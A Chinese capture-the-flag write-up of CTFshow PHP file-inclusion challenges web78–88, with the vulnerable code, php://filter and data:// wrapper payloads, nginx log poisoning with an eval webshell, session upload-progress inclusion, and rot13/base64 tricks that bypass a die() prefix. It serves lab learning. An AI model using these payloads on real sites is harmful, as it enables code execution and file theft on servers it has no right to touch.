CTFSHOW 文件包含

目录

web78   php://filter

 web79  data://text/plain

 web80  日志文件包含

 web81

 web82-86  session 文件包含

web87 死亡代码 绕过  rot13 base64

rot13

 base64

web88


web78   php://filter

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
} 

包含一个文件

发现了 include 我们可以配合伪协议来读取flag

php://filter/read=convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3MDQ4ZDgyOC0yYzBiLTQzZDAtYmRjYi02OTNmNWVhMjI3Yzh9Ijs=

解码

 web79  data://text/plain

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
} 

过滤了 将php过滤 为 ???

那我们通过 data协议直接执行查询代码

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==ls

 读取flag

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==

 

 web80  日志文件包含

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
} 

首先使用插件查看服务

发现是使用 nginx 的服务器 那么一般日志文件是存在

var/log/nginx/access.log

 那我们看看去访问文件

 发现能读取 那我们传入 命令

看看能不能解析

 

那就很简单了 直接通过 一句话木马上传即可

 

1=system('tac /var/www/html/fl0g.php');

 

 web81

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
} 

发现还是可以使用日志包含

访问 /var/log/nginx/access/log

上传一句话木马

<?php @eval($_GET[1]);?>
/?file=/var/log/nginx/access.log&1=system('ls /var/www/html');

/?file=/var/log/nginx/access.log&1=system('tac /var/www/html/fl0g.php');

 

 web82-86  session 文件包含

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
} 

过滤了 .

那么 我们就无法使用 带有后缀的文件了

那在 php中 可以使用无后缀的 就是 session文件

这里就需要使用两个东西

session.upload_progressPHP_SESSION_UPLOAD_PROGRESS 参数

再了解 session.upload_progress是我们先了解 php.ini的参数

session.upload_progress.enable = on
浏览器向服务器上传文件的时候 会将上传信息存储在session中session.upload_progress.cleanup = on
在上传成功后 服务器会cleanup文件 清除session里面的内容session.upload_progress.prefix = "upload_progress_"
session里面的键名session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
如果name出现在表单中 那么就会报告上传进度

接下来我们分析过程

如果我们php.ini设置session.auto_start为onphp在接受到请求就会自动初始化 session 所以不需要执行 session start()但是默认情况下 session.auto_start 都是关闭的但是session还存在一个默认选项session.use_strict_mode默认值是为0这个时候 用户可以自定义Session ID例如我设置 cookie:PHPSESSID=Xio那么这个时候 会在服务器创建一个文件 /tmp/sess_Xio即使用户自己没有初始化 但是php也会自动初始化session并且产生一个键值 ini.get(“session.upload_progress.prefix”)+session.upload_progress.name总结我们写入的PHPSESSID会被当做文件名

这里又需要使用条件竞争来实现访问

web87 死亡代码 绕过  rot13 base64

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__);
} 

file_put_content和死亡·杂糅代码之缘 - 先知社区

出现了一个 死亡代码

在我们写入文件的时候 会先执行<?php die('大佬别秀了');?>

那我们怎么绕过呢

首先就是加密方式

我们可以通过 rot13绕过

那我们怎么绕过 过滤php正则呢 只需要通过 url编码两次绕过即可

rot13

php://filter/write=string.rot13/resource=2.php两次url
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

然后就是content的内容了

我们只需要 将 content内容 进行 rot13编码

然后即可

 

<?cuc flfgrz('yf');?>

然后执行访问 2.php

再次修改访问 fl0g.php即可

<?cuc flfgrz('gnp sy0t.cuc');?>

 base64

我们get的内容已经实现了 那我们看看怎么绕过死亡代码

我们输入 <?php system('tac fl0g.php');?>就会结合为 <?php die('大佬别秀了');?><?php system('tac fl0g.php');?>
直接退出如果我们使用base64的话<?php die('大佬别秀了');?> 只会解码 php  和 die 指令 而base64通常是8个一组 phpdie只有6个 所以我们随便补充两个来保证解码aaPD9waHAgc3lzdGVtKCdscycpOz8+这个时候 base64解码就是phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+其中phpdieaa 会解码失败 从而绕过 死亡代码

所以我们来进行写入

POST
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+GET?file=php://filter/write=convert.base64-decode/resource=flag.php?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30

修改文件名 然后写入 读取命令即可

POST
content=aa<?php system('tac fl0g.php');?>content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==GET?file=php://filter/write=convert.base64-decode/resource=5.php?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30

这样就绕过了死亡代码

web88

可以使用data协议来执行

?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/62550.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【VUE】项目本地开启https访问模式(vite4)

在实际开发中&#xff0c;有时候需要项目以https形式进行页面访问/调试&#xff0c;下面介绍下非vue-cli创建的vue项目如何开启https 环境 vue: ^3.2.47vite: ^4.1.4 根据官方文档&#xff1a;开发服务器选项 | Vite 官方中文文档 ps&#xff1a;首次操作&#xff0c;不要被类…

【深度学习中的批量归一化BN和层归一化LN】BN层(Batch Normalization)和LN层(Layer Normalization)的区别

文章目录 1、概述2、BN层3、LN层4、Pytorch的实现5、BN层和LN层的对比 1、概述 归一化(Normalization) 方法&#xff1a;指的是把不同维度的特征&#xff08;例如序列特征或者图像的特征图等&#xff09;转换为相同或相似的尺度范围内的方法&#xff0c;比如把数据特征映射到[…

分清性能测试,负载测试,压力测试这三个的区别

做测试一年多来&#xff0c;虽然平时的工作都能很好的完成&#xff0c;但最近突然发现自己在关于测试的整体知识体系上面的了解很是欠缺&#xff0c;所以&#xff0c;在工作之余也做了一些测试方面的知识的补充。不足之处&#xff0c;还请大家多多交流&#xff0c;互相学习。 …

【MongoDB】数据库、集合、文档常用CRUD命令

目录 一、数据库操作 1、创建数据库操作 2、查看当前有哪些数据库 3、查看当前在使用哪个数据库 4、删除数据库 二、集合操作 1、查看有哪些集合 2、删除集合 3、创建集合 三、文档基本操作 1、插入数据 2、查询数据 3、删除数据 4、修改数据 四、文档分页查询 …

论文阅读---《Unsupervised ECG Analysis: A Review》

题目 无监督心电图分析一综述 摘要 电心图&#xff08;ECG&#xff09;是检测异常心脏状况的黄金标准技术。自动检测心电图异常有助于临床医生分析心脏监护仪每天产生的大量数据。由于用于训练监督式机器学习模型的带有心脏病专家标签的异常心电图样本数量有限&#xff0c;对…

无涯教程-Perl - msgctl函数

描述 该函数使用参数ID,CMD和ARG调用系统函数msgctrl()。您可能需要包括IPC::SysV包以获得正确的常量。 语法 以下是此函数的简单语法- msgctl ID, CMD, ARG返回值 该函数返回0,但如果系统函数成功返回0和1,则返回true。 Perl 中的 msgctl函数 - 无涯教程网无涯教程网提供…

Go语言工程实践之测试与Gin项目实践

Go 语言并发编程 及 进阶与依赖管理_软工菜鸡的博客-CSDN博客 03 测试 回归测试一般是QA(质量保证)同学手动通过终端回归一些固定的主流程场景 集成测试是对系统功能维度做测试验证,通过服务暴露的某个接口,进行自动化测试 而单元测试开发阶段&#xff0c;开发者对单独的函数…

【Java 回忆录】Java全栈开发笔记文档

这里能学到什么&#xff1f; 实战代码文档一比一记录实战问题和解决方案涉及前端、后端、服务器、运维、测试各方面通过各方面的文档与代码&#xff0c;封装一套低代码开发平台直接开腾讯会议&#xff0c;实实在线一起分享技术问题核心以 Spring Boot 作为基础框架进行整合后期…

C++ 计算 拟合优度R^2

解决的问题&#xff1a; 拟合优度(Goodness of Fit)是指回归直线对观测值的拟合程度&#xff0c;度量拟合优度的统计量是可决系数(亦称确定系数) R?。R最大值为 1。R%的值越接近1&#xff0c;说明回归直线对观测值的拟合程度越好&#xff0c;反之&#xff0c;R%值越小&#x…

MySQL_多表关系

多表关系 一对一关系 用户和用户详情 关系&#xff1a;一对一的关系 用途&#xff1a;用于单表拆分&#xff0c;将一张表的基础字段放在一张表中&#xff0c;其它字段放在另一张表中&#xff0c;可以提升查询效率 实现&#xff1a;在任意一张表里面添加外键&#xff0c;关联…

竞赛项目 深度学习的水果识别 opencv python

文章目录 0 前言2 开发简介3 识别原理3.1 传统图像识别原理3.2 深度学习水果识别 4 数据集5 部分关键代码5.1 处理训练集的数据结构5.2 模型网络结构5.3 训练模型 6 识别效果7 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习…

Sharding-JDBC概述

前言 ​ 随着业务数据量的增加&#xff0c;原来所有的数据都是在一个数据库上的&#xff0c;网络IO及文件IO都集中在一个数据库上的&#xff0c;因此CPU、内存、文件IO、网络IO都可能会成为系统瓶颈。当业务系统的数据容量接近或超过单台服务器的容量、QPS/TPS接近或超过单个数…